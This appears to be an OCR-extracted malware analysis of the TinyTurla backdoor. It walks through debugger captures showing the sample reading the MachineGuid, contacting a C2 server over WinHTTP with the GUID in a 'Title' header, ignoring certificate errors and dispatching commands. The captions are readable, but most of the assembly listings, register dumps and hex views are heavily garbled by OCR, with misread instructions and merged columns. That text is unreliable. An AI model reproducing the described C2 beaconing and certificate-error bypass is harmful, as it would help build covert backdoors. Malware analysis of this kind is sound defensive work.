ra 0000000000000000

turla.d11:$2687 W1A87 —
Dump3 U Dump 4 @ watch1  Ir-llocals 4 stuct

. text: 00007 FFBAT3IB2687

Dmpl

¥4 Dump 2 ¥4 Dump 5 0OD000B3CF3
DO00DOB3CF3
£

000000

0000000000000022
5| 0000D0B3CF3FFTAD
22

DODUDODUDODDDOOUDODUDDDUDDDD
00 00|00 00 00 00|00 00 00 00|00 00 00 00| urerscnrszasnss

00000274727 74780 |06, 00
00000274727747¢0[ 00 00

Figure 9

The malware passes the C2 IPs and port numbers to the CommandLineToArgvW routine
and extracts an array of pointers to them (the C2 server is randomly chosen for testing
purposes):
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.

Figure 1

We've emulated network connections using FakeNet.

FFBAT3R2EDE

4C 8B

FA

48 83 EC 38

sub rsp,3s

mov rils .rdx

ri4,rs N I 1
rdx,qword ptr ss:firsp+6s
gword prr ds:[<ac

ommandL 1 neToAr gvw=J"

RAX  0000000000000001
RBX 0000000000000010
RCX D0D0027AT27747B0

RDX QDOD0083CFIFFTEE

L"90.90,90.90 050"

The malicious process opens the “SOFTWARE\Microsoft\Cryptography” registry key using
RegOpenKeyExW (0x80000002 = HKEY_LOCAL_MACHINE, 0x20019 = KEY_READ):

Ty

U

co
D3
"

4C
ED

. TexXt:00007FFBAT3B2624 turla.d11:52624 #1A24

24
30

24

24
02
00

20
o0 0o

00 00

o8

00 00
58
20

00 00
o0z 00

D6 09 00 00

xor r8d,r8d
mov rcx,qword ptr ss:frsp+3s]
mov rdx,rbx
mov gword ptr ss:frspr2of,rax
EEW gword ptr ds:
Test eax,eax

e turla.7FF8A73B25BA

ea rcx, rd ptr ss:frsp+
Ea11 turla.7FFBAT3B1350
mov rex,qword ptr ss:firsp+s

Xor eax,eax
add rsp,50
op rbx
mov rax,qword ptr ss:frsp+4of
mov ecx,dword ptr ds:[rax
mov rax,qword ptr ss:firspivoj
mov dword ptr ds: [rax  BCX
lea recx,qword ptr r sp+a0ff
€A turla. ?Fss.wasusu
mov_rcx,qword ptr ss:ffrsp+3s)
E&M gword ptr ds:[
mov eax,1

ardd rsp,s0

rbx

int3
int3
int3
int3
int3

int3

mov gword ptr ss:frsp+sl,rbx

push rdi

sub rsp,30

mov rdi,rdx

00| mov gword ptr ds:[r&l,o

mov rdx,rcx

Tea rax,qword ptr ss:frsp+ssj
mov rbx,rs

mov gword ptr ss:frsp+2of,rax
80| mov rex,FFFFFFFFB0000002

mov r9d,20019

rad,rad

xor

<R eglueryvaluesxws-]

51
E&Nl qword ptr ds:[<8RegCloseKeys]

anegc‘losel(m}

uﬁ_ﬁw;w ‘ds: [<&RegOpenkeyExw>]

RAX  DODOOOS3ICF3FF7E8
REX  OODOOODSICF3FFTBO
RCX  FFFFFFFFB0000002
RDX  DODOTFFBA73B3230
REBP  DODODOSICFIFFTCO
RSE  DODODOSICF3FFT30
RSI  DODODODODOAS03BC
RDI  DODOTFFBA73B3218
RS 0000000000000000
R9  DODODODODOO20019
R10  OODOD27AT2774250
R11  DODODOS3ICFIFFEBO
R1Z  DODOD27A72768D30
R13  DODODOOOOOOO00OA
R14  OODOTFFBA73B0000
R15  FFFFFFFFFFFFFFFF
RIP DODOTFFBAT3B2624
RFLAGS  000D0DOD0D0D0Z46
ZF 1 PF 1 AF O

OF 0O SF O DF O
CFO TFO IF1

LastError

GS 002B FS 0053
ES 002B QS 0028
€S 0033 35 0028

XB87r0 00000000000000000000
X87ri 00000000000000000000
x87r2 00000000000000000000
x87r3 00000000000000000000
NBTr4
XB7rs
X87ré& 00000000000000000000
XB7r7 00000000000000000000

L7 SOFTWARE\\Microsofti\C

L"MachineGuid”

L"turla.d11®

turla. 00007 FF8AT 380000

turla.00007FFBAT3IB2624

5TO
ST1
sT2
513
5T4

5T6
5T7

00000000 (ERROR_SUCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

Empty
Empty
Empty
Empty
Empty
Empty
Empty
Empty

0. 0000000000001
0. 000000000000
0. 000000000000
0. 000000000000
0. 0000000000001
0. 0000000000001
0. 0000000000001
0. 0000000000001

x87Tagword FFFF

O0000083CF3

O
00000083CF

Figure 11

@oump!  Y4pump2  WNDump3  WMDump4  EUDumps @ watthi  bellocals 4 Stuct
00007FFB8A73B3230 |53 00 4F DO|46 DO 54 00|57 00 41 00|52 00 45 00 A.R.E.
ODOO7FFBA73B3240|5C 00 4D 00|69 00 63 00|72 00 &F 00|73 00 &F 00 0.5.0.
DOOOTFFBAT3IB3250| 66 00 74 00(SC 00 43 00|72 00 79 00|70 00 74 00 y.p.T.
00007FFEA73B3260|6F 00 67 00|72 00 61 00|70 00 68 00|79 00 00 0O Poye..

J83CF3

The “MachineGuid” value is extracted via a function call to RegQueryValueExW:

7/30



00007 FSArEE“EEG rbx
AL devenkmdes
00007FF8A7382 i RCX  000000000DO0D1B0 L'
00007 FFEAT 382 = =
R Hi RDX  ODOD7FFBAT3B3218 L"Machineguid"
00007 FFB8A7 3B25EB int3 REBP  DDODOO83CF3FFTCO
00007FFBA73B25EC int3 BSE  0D00DOD83CF3FF730
D0D007FFEAT3B25ED int3 RSI  00O0DO0DOD00ASD3EC
® (| DOOD7FFBAT3B25EE int3 RDI D0007FFBAT3IB3218 L"MachineGuid”
@ (| DDOO7FFBAT3IB2SEF int3
® || DDOOTFFBATIB25F0 24 08 mov gword ptr ss:frsp+sfl,rox RS 0000000000000000
® | 00007FF8AT3IB25F5 push rdi RS 0000000000000000
#| o0o07FFEATIB25F6 30 sub rsp,30 R10  0DO0ODODODODODOD
@ (| ODOOTFFBAT3IB25SFA mov rdi,rdx R11 00000083CE3FFECO
®|| 000DTFFBA73B25FD 00 00 00 00|mov gword ptr ds:[r8],0 " "
o[ onoo7EFaA73B2604 mov rdx,rcx Baz POOOO/Ac2setnnd o tida.aH
o || 0o007FFBAT3R2607 24 58 lea rax,qword ptr ss:[frsp+ssj R13  00000000C0C0000A
o | oooo7FraAT3B260C mov rbx,rs R14  000D07FFBA73BO00O turla. 00007FFBAT380000
o DOOOTFFBAT3BZE0F 24 20 mov qword ptr ss:frsp+2of,rax R15  FFFFFFFFFFFFFFFF
o/ 0o007FFBA73B2614 02 00 00 80|mov rcx,FFFFFFFFB0000002
®|| 00007FFEA73B261E 00 02 00 mov rsd,20019 RIP  00DO7FFBAT3B2687 turla.00007FFBAT3B2687
#| oooorFraar3gae2l xor r&d,rad
® || DOOOTFFEATIB2624 09 00 00 E&NT gword ptr ds:[<&RegOpenKeyExws] RFLAGS  0000000000000246
» [ oOOO7FFBAT3B262A test eax,eax ZF 1 PF1 AF O
-------- o | 00007FF8A73IB262C| ~ jne turla.7FFBAT3B26A4 OF D SFD DF O
o || DO0OOTFFBATIB262E 24 58 mov rcx,qword ptr ss":spfﬁ CFO TFO IF1
o[ oooo7FFea73B2633 24 50 1ea rax,gword ntrkss'
@ || DDOOTFFBA73IB2638 24 28 mov gword ptr ss: SD+2 prax
o/ 00007FFBA73B263D xor rod,r t“‘§;”" ooommom ‘Eﬁﬂ‘éﬁié
o 00007FFEAT3B2640 xor r&d,rad aststatus ( = )
o[ oooo7FFeATIR2643 24 20 00 00|mov gword ptr ss:[Brsp+20§,0
® | ODO0O7FFBAT3IB264C mov rdx,rdi G5 D028 FS 0053
o DDOOTFFBATIBZE4F 09 00 00 - q'uurd ptr ds:[<éRegqueryvalueExw>] ES 0028 QS 002B
. test eax,eax €S 0033 355 0028
. jne turla.?FFB8AT3B2699
¢ || 0D00TFFBATIB2659 50 mov_ecx,dword ptr ss:firsp+sol X87r0 00000000000000000000 STO Empty 0.000000000000
#| oooorFraar3szesn FF FF Eal¥ turla.7FF8A73B1310 X87r1 00000000000000000000 ST1 Empty 0.000000000000
8| OO F TR SRI06E mov gword ptr ds:[rbx],rax X87r2 0D0000DO0D0OD0DOD000D ST2 Empty 0, 000000000000
® | B0BI7FFARZI02 66 SENT RN PRt sl el e dd S nariacindy
. v je turla.7FFBA7382699 AR, i i
4 24 50 Tea rox,qword ptr ss:@rspisal x87r4 00000000000000000000 ST4 Empty 0.000000000000
00007 Fzsraaj“; xor rod,rad X87r5 00000000000000000000 ST5 Empty 0.000000000000
ODOOTFFBAT3B2 24 28 mov qword ptr ss:frsp+28),rox X87r6 00000000000000000000 STE Empty 0.000000000000
xor r&d,rad X87r7 00000000000000000000 ST7 Empty 0.000000000000
24 58 mov rcx,qword ptr ss:Brspssl
00« 2 mov rdx,rdi xB87Tagword FFFF
00007 FFBA73B2682 mov _q Irsp+20f,r

24 20 ord ptr ss ax
09 00 O @51 [<aregQueryvalueExw=11"""" «

>

.Text:00007FFBAT3B2687 turla.d11:$2687 #1A87
Woump1  @yoump2  @Hoump3  @Woumps  @houmps &8 warhi

~

) . _ 0000D083CF3F
27AT 2782660 | 00 00|00 00 OO 00|00 OO OO 00|00 L Ham
DODODZ?A}'Z?GZS?O DO 00 00 00{00 00 0D D000 00 Q0D 00|00

Figure 12
WinHttpOpen is utilized to initialize the use of WinHTTP functions:

ODOOTFFBATIBLEZR €3 (] RAX 00000 “SYSTEM
OD00TFFBA73B1E2C DA 16 ficom st(0),dword ptr ds:[rsi] CrArers a0 e hACurCentContrg
00007 FFBAT 3B1EZE 00 00 add byte ptr ds:[rax],al R DOHOCEEGI 005D LIWEST tme’
DO00TFEBATIBLEI0 &E Sk : ¥ RCX  0O0007FFBAT3B3140 turla.00007FFBAT383140
00007FFEA73B1ESL 17 RDX  0000000000000000
00007 FFBA7TIBLES2 00 00 add byte ptr ds:[rax],al RBP  DDOOOOS3CF3FF840
ODOOTFFSAT3BLES4 8A 17 mov dl,byte ptr ds:[rdi RSE  DOODOOS3CF3FFTED
OO000TFFSAT3B1E3G 00 00 add byte ptr ds:[rax],a RSI 00D002TAT27 79830 &L"SYSTEM\\CurrentContro
FFBA73B1E38 10 18 ade byte prr ds: b1 RDI  0000000000000000
FFBAT3B1E3A 00 00 add byte ptr ds:[rax],al
OODO0TFFBAT3BLEIC F7 18 neg dword ptr ds:[rax] RSB 0000000000000000
00007FF8A7T3IB1ESE 00 00 a e pir ds.grax],a'l RO 0000000000000000
00007 FFBA73B1E40 32 19 xor bl,byte ptr ds:[recx R10  0D000O0DODODODODO0
90 e add byte ptr "‘,[“" & R11  0DODODB3CF3IFFTO0
: £0;19 00 PCE/BYLE PLE B8:LRCHT, R12  0000027A72768D90 L"turla.di”
D00D7FFSAT3BLE4T 00 B2 1A 00 0O 41 ag byted'r.;:rdds. [rgx 4monn:|.A] dh i el "
00007 FFBAT3B1E4D 18 00 sbb eax rd ptr ds:[rax
0000TFFRAT3B1EAF 00 DO add &]_a! e [ 1 R14 00007 FFBAT 380000 turla. 00007 FF8AT 380000
D0007FFBATIBLEST 18 00 sbb eax,dword ptr ds:[rax] R1S 0000000000000000
00007FFBATIBLES3 00 91 1C 00 00 CC add byte ptr ds:[rcx-33FFFFE4],dT
00007 FFBA73B1E59 o int3 RIP  0D0O7FFSAT3B1EAZ turla.00007FFSAT3B1EAZ
cc int3
7 cc int3 RFLAGS  0000000000000246
00007 FFBAT3BLESC cc int3 ZF1 PF1 AF O
0DDD7FFBA73B1E5D cC int3
00007FFSAT3B1ESE <4 int3 g: g .?: g g: 2
00007 FF8AT3B1ESF cc int3
7FFBATIB1EED 40 55 ush rb
FEEATIB1EG2 53 Sush rbs LastError 00000000 (ERROR_SUCCESS)
BATIB1EG3 56 push rsi Laststatus 00000000 (STATUS_SUCCESS)
00007FESA73B1EGS 57 push rdi
00007 FFBA7 3B1EGS 41 54 push riz GS D028 FS 0053
OD007FFBATIBLEST 41 55 push ris ES D028 (S 0028
00007 FFBA7 381E69 41 56 push ris €S 0033 55 0028
00007 FFBA73B1EGB 48 8B EC ua; rbp,rsp
00007FFBATIBIEGE 48 B3 EC &0 sub_rsp, &0 00000000000000000000 + 000000000000
00007FFEA7381E7 £8 39 09 00 00 €A11 turla.7EF8A7382780 il s sen e S i )
DUIOZTRAZARLIE MO D MOV TS S EAN X87r2 0D000000000O0ODO0000D ST2 EMPTy 0.000000D0000G
i S LESTLAR, Ax x87r3 00000000000000000000 ST3 Empty O.000000000000
i 7 v OF 84 44 03 00 00 |je turla.7FF8A73B21CD ey 0.
] FESATIR1ER3 4C B9 BC 24 AD 00 00|mov qword ptr ss:frspracl,r x87r4 00000000000000000000 ST4 Empty 0.000000000000
! FFBAT3B1ESE 48 8D OD AE 12 00 00|lea rcx,qword ptr ds‘[?FFW!BiIB] X87r5 00000000000000000000 ST5 Empty 0.000000000000
! - FBAT3IBLEDZ 45 FF xor risd,risd X87r& 00000000000000000000 STE EmpTy 0.000000000000
! & || DOOO7FFBAT3IBLEDS 45 c9 xor X87r7 00000000000000000000 5T7 Empty O0.000000000000
] o[ oo007FFEAT3B1ESS 45 xor
1 & || OOO07FFBAT3BLESR mov x87Tagword
i . xor
+ bl |

. Text:00007FFBAT3IB1EAZ turla.dl1:$1EAZ #12A2

@oump1  @pump2  EYDump3 WEDumps WS Dumps @ watch1

l=ILocals 4 Struct

00007 FFBA7383140 [0f) 00 DO 00|00 00 0D 00|47 00 45 00 54 00 00 | e
e

annnrecearsosicnlen an ac anles an ca anlan

Figure 13
The file initializes a connection to the C2 server by calling the WinHttpConnect API:
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L]

i -
i -
E—*=

Figure 1

7D 48
5
oo

18
cs8

00

00 00

CS CO 04

FF!S“M.WM

mov dword prr
mov gword ptr
mov dword ptr
nop dword ptr d
mov ecx,dword
xor rod,rsd
mov rax,qword
add rcx,rcx
movups xmmd, xmmword ptr ds:[rax+rcx©s]
mov recx,ric

pextrw rad,xmmo,+

%I‘d!m

ﬂﬂ‘i PEtr ds:[<awinHttpConnect>]

ptr ds:[rsi+

18]

RAX
RBX
RCX
RDX
RBP

RSI
RDI

RS
Ban

00D0027AT27788A0
00007 FFE18D5A060
0000027AT27733F0
0000027AT2779C38
00000083CF3FFB40
O00000B3CF3IFFTED
D000027AT2779830
0000000000000000

000000000000235A
0000000000000000
AMANN3TATITTIIEN

&L"90.90. 90. 90"

L"W64Time"

L"90.90.90.90"

&L"SYSTEM\\CurrentContro’

The WinHttpOpenRequest function is used to create a GET request handle (0x800000 =
WINHTTP_FLAG_SECURE):

L"W64Time"

L"GET"

L"20,90,90.90"
"80.90.90.90

L"Dad3e319-280c-4T11-94d

turla.00007FFBAT3B2222

s5TO
5T1
sT2
5T3
5T4
5T5
5T6
5T7

Empty
Empty
Empty
Empty
Empty
Empty
EmpTy
Empty

0. 0000000000001
0. 0000000000001
0. 000000000000
0. 0000000000001
0. 0000000000001
0. 000000000000
0. 0000000000001
0. 0000000000001

v |[5_[£](] unkocke

48 B3 F9 FF cmp rcx,FRFFFFFFFFFFFEFF T e S R s
v 74 DE ie turla.7FFBAT3B2196 REX OODOOTFFEL1EDSA0E0
FF 15 B2 OE 00 00 gword ptr ds: [<a&CloseHandlex] RCX 00000274727 88000
48 C7 43 10 FF FF FF|mov gword ptr ds:[rbx+10],FFFFFFFFFFFFFFFF e -
BB 46 24 mov eax,dword ptr de:[rsi+24] RDX  DODO7FFAA73B3148
33 D2 xor edx,edx REBP  DDO00D083CF3FFS40
4C BB 55 F8 mov ri0,gword ptr ss:ffrbp-sj BSE  00000083CF3FF710
FF CO inc eax RSI  DDOOODDB3CF3FFES8S
F7 76 20 div RDI  0000000000000000
44 B9 7E 30 mov [ o] ,risd
gg ts,g 24 " vtdunard S:r ds:[rsi+24] edx RS 0000000000000000
ENT_EC & R9 0000000000000000
~ OF 85 1D FD FF FF jne turla.7FFEA73B1EDOD R10  0DODODS3CF3FEDSD
- 8B 4E 08 mov_ecx,dword ptr ds:[rsi+8] R1l  DDODOZ7A7277BAAD
. FF 15 B4 0OE 00 00 call uuard ptr ds:[<&Sleep> R1Z  00GOONOOOO00OD0
- 4C 8B 55 F8 mov rio,qword ptr ss:lffrbp-3 R13 027A727 88000
. ~ E9 DB FD FF FF jmp turla.7FFBA73B1EDD 0000
. 4C 8B BC 24 A0 00 00|mov ris,qword ptr ss:frspracy R14  0DOOODB3CF3FFE28
. 48 83 C4 60 add rsp, &0 R15  0DO00D27A72782660
. 41 SE pop ri4
. 41 5D pop ri3 RIP  0ODOOTFFSAT3B2222
. 41 5C pop ri2
. 5F pop rdi RFLAGS  0000000000000246
. SE pop rsi ZF 1 PF 1 AF O
® - pap :g; OF 0 SFO DFO
= £3 CFO TFO IF1
- in
4 EE ;ngg LastError 00000000 (ERROR_SUCCESS)
. cc int3 LastStatus 00000000 (STATUS_SUCCESS)
. cc int3
. 48 B9 5C 24 18 mov gword ptr ss:frsp+risf,rbx GS DO2B FS 0053
48 B9 74 24 20 mov gword ptr ss:frsp+20§,rsi ES D028 QS 0028
41 54 push ri12 CS 0033 33 0028
- 41 56 push ri4
. 4L 57 push ris X87r0 00000000000000000000
. 48 81 EC BO 00 00 00|Sub rsp,80 X87r1 00000000000000000000
b 45 33 E4 xor rizd,rizd X87r2 00000000000000000000
- H 30 800004
: i; ;g EI 30 00 00 80 :g: ?!?T?g”" ss:[frsp+30f§, 800000 Xx87r3 00000000000000000000
. 4C 89 64 24 28 mov gword ptr ss:frsp+2sf,riz X87r4 00000000000000000000
. 4D BB FO mov rid,rs X87r5 00000000000000000000
. 4C 89 64 24 20 mov gword ptr ss:frsp+2of,ri2 x87ré 00000000000000000000
. 4C BB FA mov ris,rdx X87r7 00000000000000000000
. 45 33 €9 xor rod,rsd
. 45 33 CO xor rsd,rsd x87Tagword FFFF
15 26 OF 00 00|lea rds,qword ptr ds: [7FF8A73B3148]
DO OE 00 00 d ptr ds:[<&WinHTTpOpenfequest>]
z rex.
2. rdx DOOO7FFBAT3B3148 L'GET"
3: r8 0000000000000000
4: r9 0000000000000000
- Text:D0007FF8A7382222 turla.d11:$2222 #1622 S —
—_— — ; S T
oump1  @oump2  @Uoump3  @Houmps  @MDumps @ watch1  [eelLocals [ D000 3 DO00000000600000
§ —— D = : 1 00000 0000000000000000
0000027A72779C38 |88 00 30 00]2E OO 39 00|30 00 2E 00 RN AR gmmaoaommown
0D00027AT2779C48| 2E 00 39 0030 00 OD DO 3% 00 30 00 OOO00 '3 mmm
OuoguarAza7eaES| 90 99 00 00|90 00 g0 o0[00 99 0 o0 00000083CF 3FF7 40| 0000000000800000

Figure 15

The process adds an HTTP request header called “Title” containing the Machine GUID to the
HTTP request handle (0x20000000 = HTTP_ADDREQ_FLAG_ADD):

Flgure 16

24
FE
00
48
24

50

00 00
00 33 00
48

mov rad, 20000000

mov gword ptr ss:frsp+sof,rdi

or r8d,FFFFFFFF

mov I'U)( rdi

mov rox,rbx

a1l aword DEF 0SE[<AWinHITpAdR equestHeaders
test eax,eax

je turla.7FFeA73B225F

lea recx,gword ptr ss:frsp+sof
€&l turla.7FF8AT3B1350
mov rad,4

mov dword ptr ss:Brsprasl,3zo0
Tea rs,qword ptr ss:Ersp--t.,]

RAX
RBX
RCX
RDX
RBP
BSE
RSI
RDI

R8
RS

000000000000004A
0000027AT27BBFE0
00000274727 8BFE0
00000Z7ATZ7E57 20
0000000000000044
00000083CF3FFTL0
00000083CF3FFBES
O00D027AT2765790

00000000FFFFFFFF
0000000020000000

The security flags for the handle are set using WinHttpSetOption (Ox1F =
WINHTTP_OPTION_SECURITY_FLAGS, 0x3300 =
WinHttpRequestOption_SsiErrorignoreFlags):

1y

L"Title: Oad3e319-280c-4
L
&L"Dad3e319-280c-4T11-94

L"Title: Dad3e319-280c-4
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O0D007FFBAT3B22EL

00 00 mov rod,4
00 33 00 ?uv dword ptr ss:frsp+48§,2300 RAX  0O0000083CF3FFTE0

a8 ea rs.qwgrd ptr ss:frsp+4sl REBX  0000027A7278BF60
mov rox,rbx R
CX  0DODO27A7278BFE0
Tea EGX_,GWFQ ptr ES [ro+18 RDX  000000000D0000LF
dsz REP  000000000000004A 3%
RSP 0D0DDO0S3CF3IFFTL0
RSI 00000083CFIFFEEE

]

g g "d nHttpSetoption>J
mov rcx,rbx
test eax,eax

FE. FF je turla.7FFBA73B2262

30 mov gword ptr ss:frsp+30f,riz RDI 0000027AT 2765790
xor rod,rsd
28 mov dword ptr ss:grsp+2af,ri2d RS 00000083CF3FFTSE

xor rad,rad RS 0000000000000004

Flgure 17
The malicious file sends the request to the C2 server using the
WinHttpSendRequest routine:

4C B9 64 24 50 mov gword ptr ss:Brsp+sof,riz RAX  0000000000000001
i MoV r X, rbx REX  DOODO27AT27SEF 60
FF 15 80 OE 00 00 call qword ptr ds:[<&winHttpCloseHandle>] RCX  OOOO027A7278BFE0
33 Co xor eax
48 BB AC 24 DO 00 00 |mov rbp,quord prr ss:frspiDo RDX  0000000000000000 o
48 8B BC 24 D8 00 00|mov rdi,gword ptr ss:frsp+D REP  000000000000004A ]
4C 8D 9C 24 BO 00 00|lea ril,gword ptr ss:frsp+80 BSE  O0000083CF3FF710
43 BB 58 30 mov rbx,qword ptr ds:[ril+30 RSI  0DDOOODB3CF3FFS8S
49 88 73 38 mov rsi,qword ptr ds:[rii+38 RDI  0DO0D027A72765730
49 8B E3 mov rsp,ril
41 5F pop ris RS 0000000000000000
41 5E pop ri4 R9 0000000000000000
i ﬁ ed2 R10  0000000000000000
iy 41 B8 OE 00 0O 00 mov r8d,E :i; OQOOOOSSCF3FF5§§
48 8D 15 BF OE 00 00|lea rdx,qword ptr ds: [7FF8A73B3130] SOMMNIDECOOCDO
48 8B CF mov rox.rdi R13  0000027A7278BDDO
E8 E7 FO FF FF EAT1 turla.7FFBAT3B1390 R14  000000B3CF3IFFE28
48 BD 4F OE Tea rcx,qword ptr ds:[rdi+E] R15 D00D0ZTATZ7B2660 L"Dad3e319-280c-4F11-94d
44 8B CS mov r8d,ebp
49 8B D7 mov_rdx,ris RIP  ODOO7FFBAT3B2323 turla. 00007TFFBAT3B2323
EB D& FO FF FF €a1 turla.7FF8AT3B1390
41 B9 00 00 0O 20 mov rSd, 20000000 RFLAGS 0000000000000246
48 89 7C 24 50 mov gword ptr ss:ffrsp+sof,rdi ZF 1 PF 1 AF O
41 83 CB FF or r8d,FFFFFFFF OF D SFO DFO
45 8B D7 mov rdx,rdi cFo0 TFO IF 1
48 8B CB mov_rex,rbx
2 ;; éE ARSI tugst 2‘;:'_:&" ds: (RANSIHER DMK SRRt HERIRES LastError 00000000 (ERROR_SUCCESS)
______ 73 ~ 7% 88 & turla.7FESA73B225F Laststatus 00000000 (STATUS_SUCCESS)
7 48 8D 4C 24 50 ea rcx,qword ptr 5s.|rspnol
EB 6F FO FF FF E&TT turla.7FFBA73B1350 GS 0028 FS 0053
41 B9 04 00 DO 00 mov rod,4 ES 002B QS 0028
€7 44 24 48 00 33 00 |mov dwurd ptr ss:ffrsp+4s), 3300 CS 0033 5SS 0028
4C 8D 44 24 458 lea r&,qword ptr ss:frsp+15)
:? :g ';—l: %i q’:: :E:’a:;rd pr ds: [F9+18] X87r0 00000000000000000000 STO Empty 0. 000000000000
3 sz fr9e = x87r1 00000000000000000000 ST1 Empty 0.000000000000
E; :; E: oD 00 00 wrg:m:g‘ptr ds: [<aWinHttpsetoptions] x:;rg mmmﬁm §§ gn:y g_mm
85 o test eax,eax X87r3 D000 000000000000 pty 0.000000000000
~ OF 8% 56 FF FF EF je turla. TFFBATIBZ262 x87r4 00000000000000000000 5T4 Empty O.000000000000
aC 89 &4 24 30 v gword ptr ss:frsp+3ol,riz %87r5 00000000000000000000 STS Empty 0. 000000000000
45 33 C9 xor rod,rod X87r6 00000000000000000000 STE Empty O0.000000000000
44 89 64 24 28 mov dword ptr ss:ffrsp2a),ri2d X87r7 00000000000000000000 5T7 Empty 0.000000000000
45 33 Co xor réd,rad
33 D2 xor edx‘enx x87Tagword FFFF
L Sarl, LEs e
iiiﬂif;ulr .t [<awinHTttpSendRequest>] B =
.Text:00007FFBAT3IB2323 turla.dl1:$2323 #1723
) 00000083CF3FFTE0
oump1  @Hoump2  @HDump3  $Woumps  WMoumps @ watchi  felocals i stuct 000D027AT27 82660 | L"0ad3e319-280c-4711-94d4
e Tine ; J 0000000000000044
i = 3 o
000000B3CF3FF758 33 00 00]00 00 0O 00[00 00 00 00]C0
ououousa:ﬁlﬁﬁ?sﬂ.uu 00 00 00|00 00 00 00[00 00 00 00|00
00UCOUS3CF3FF778|00 00 00 00{00 00 0O 00|00 00 00 00|52

Figure 18
WinHttpReceiveResponse is used to receive the response to the GET request initiated

above:
® (| DOOO7FFBAT3B2334 33 D2 B | ooty
d | FF 15 E4 0D 00 00 PErEsi[<awinHttpReceiveresponse>] | pax  poooooooooocoool
r ol iRt REX  0000027A7278BF60
’| ~ OF $9 18 EF FF FF je turla!7FF8A7382262 RCK  0000027A72788F60
AN 48 33 €0 xor rRd._rad RDX 0000000000000000

Flgure 19
The binary obtains header information associated with the request by calling the
WinHttpQueryHeaders API (0x26 = WINHTTP_QUERY_TITLE):
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-Text:00007FFBAT3B236A turla.dl1:$236A #176A

FF
0E

FF
00
24
FF

24
FF
00
48
24

1B
oo
FF
24
24

FE

FE

50

00 00
00 33 00

28 DO 00

mov

rex, rdi

€@ turla.7FF8AT3B1390

lea
mov
mov

rex,gword prr ds:[rdi+E]
rad,ebp

rdx,ris

€@l turla.7FF8A73B1390

mow
mov
or r
mov
mov

rod, 20000000
qword ptr ss:Brsp+sofl,rdi
8d,FFFFFFFF

rdx1rd1

rex,rbx

RBX

call qwnrd ptr ds:[<aWinHttpAddRequestHeaders RS
Test eax,eax
e turla.7FF8A73B225F

€a

w tur

W\(
lea
mov
Tea

€all qword ptr ds:[<awWinHttpsetoptions]

mov

FEX; rd ptr ss:firsp+
a.7FFBAT3B1350

dnord ptr ss:frsp+48f,3300
r&,quord ptr ss.irsn 48]
rex,rbx

edx qword ptr ds:[r9+18]

rox,rbx

Test eax.eax
je turla.7FFEA7382262

mov
xor
mov
xor
xor
mov

€AW qword ptr ds:[<&WinHttpSendRequest>]

mov

qword ptr ss:f@rsp+3of,riz
rod,rod
dword ptr ss
réd,réd
edx‘edx
dword ptr ss:frspr20f,riz2d

:lirsp+25),rizd

rex,rbx

test eax.eax
je turla.7FF8AT3B2262

xor

EEN gword ptr ds:[<awinHttpReceiveResponses]

mov

edx, edx

rex, rbox

test eax,eax
je turla.7FFBAT3B2262

xor
mov
lea
mov
lea
mov
lea

edx, qword 26
m m dﬁ& [<Mh nHTtpQueryHeaders>] v

réd,rad

gword ptr ss:Brsp+2sl,ri2
rax, rd ptr_ss:frsp+a4a
dword ptr ss:[frsp+44),238
ra,gword ptr Js'Er 0
qvard ;l:r ss:]rspr Ol,rax

R15
RIP
ZF 1

OF 0
CF 0

RFLAGS

LasteError

D0000083CF3FFT54
D000027AT27BBFE0
DDOD0027AT27BBFE0
0000000000000026
0000000000000044
0000D0083CF3FFT10
00000083CF3FFBES
0000027AT2765790

0000000000000000
00000083CF3FFTT0
0000027AT2770D80
0000000000000246
0000000000000000
0000027AT278BDDO
00000083CF3FF828
0D00027AT2782660

DOOOTFFBAT3B236A
PF 1 AF O

SF O DF O
TF O IF 1

0000000000000246

G5 D02B FS D053
ES 0028 QS 0028
€S 0033 335 0028

XB7ro
XBTri
X87r2
xB7r3
XB7r4
XB7rs
X87re
x87r7

xB7Tagword FFFF

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000

e
"y

L"Dad3e319-280c-4711-94d

turla.00007FFBAT3B236A

00000000 (ERROR_SUCCESS)
Laststatus CO00007C (STATUS_NO_TOKEN)

STO Empty 0.000000000000
ST1 Empty 0.000000000000
ST2 Empty 0.000000000000
ST3 Empty 0.000000000000
ST4 Empty 0.000000000000
ST5 Empty 0.000000000000
ST6 Empty 0.000000000000
ST7 Empty 0.000000000000

> [s_[2] 0] unlodk

rdx 0000000000000026
rg 0000000000000000
r9 00000083CF3FF7T0

¥4 Dump 1

Wom:

¥4 Dump 4

V% Dump 5

@

Watch1  [rllocals 4 Struct

IEigure 20

0 (00 OO0 00 00
0|52 FF 00 00

00 00 00 00|00 OO0 00 OO0 %

00000083CF3FF760
5| D000D27AT2782660
0000027A727BBFE0

0000000000000000

0000000000000000

L"Dad3e319-280c-4f11-94d4

WinHttpQueryDataAvailable is utilized to extract the amount of data, in bytes, available to be
read with WinHttpReadData:

Figure 21

<

4B BD 54 24 40

4 4A
nF 1F 0N

iea
mov

rdx,qword ptr
ed1 rizd

ss:Brsp+4of

Je turla. 7FF8AT 382417

Ao

dword nre de:frax] . sax

g guord ptr ds:[<éwinHitpQueryDataavailable» m
test eax eax

000002TAT27B5650
0000027AT 27 BBF60
RCX  DOD00D27AT27BBF60
RDX O00D00B3CF3IFFTS0

The response from the server is copied to a buffer via a call to WinHttpReadData:

Flgure 22

4C

00 00

mov edx,edi 1 B | == e n
Tea r9,gqword ptr ss:frsp+4c RAX  0000000000000384
:gg :g: E:grd ptr ds:[ri4] RBX  0DO00D27A727BBE60
“ s w ds:tdﬂ'irmttﬂleacnnt&] RCX 0D00027AT27BBFE0
Test eu_“, RDX  DOODDZ7A727B5650
je turla.7FFBA73B2417 REP  D00000000000004A
mov eax, rd ptr s rsp+40) BSE  O0000083CF3FF710
mov rcx,rbx RSI  0DDODDOS3CF3FF3S8
cmp eax,dword ptr ss:frsp+4c RDI 0000000000000000
ne turla.7FFea73B241A
ea rdx,qword ptr ss:frspr4of RE 0000000000000384
add edi,eax ] = e R9 000000B3CFIFFTSC

TinyTurla implements 12 different commands depending on the 1st byte received in the
response. It uses a switch statement to execute a particular function:

.text:00007FFBA73B16B6

.text:00007FFBA73B16B6 loc_7FFBA73B16B6:

+text:00007FFBA73B16B6 movIx
Jtext:P@@e7FFBA73B16BA dec
.text:@0807FFBA73B16BC cmp
.text:@@007FFBA73B16BF ja

eax,
eax
eax, @Ah
def_7FFBA73B16D8 ; jumptable @@887FFBAT

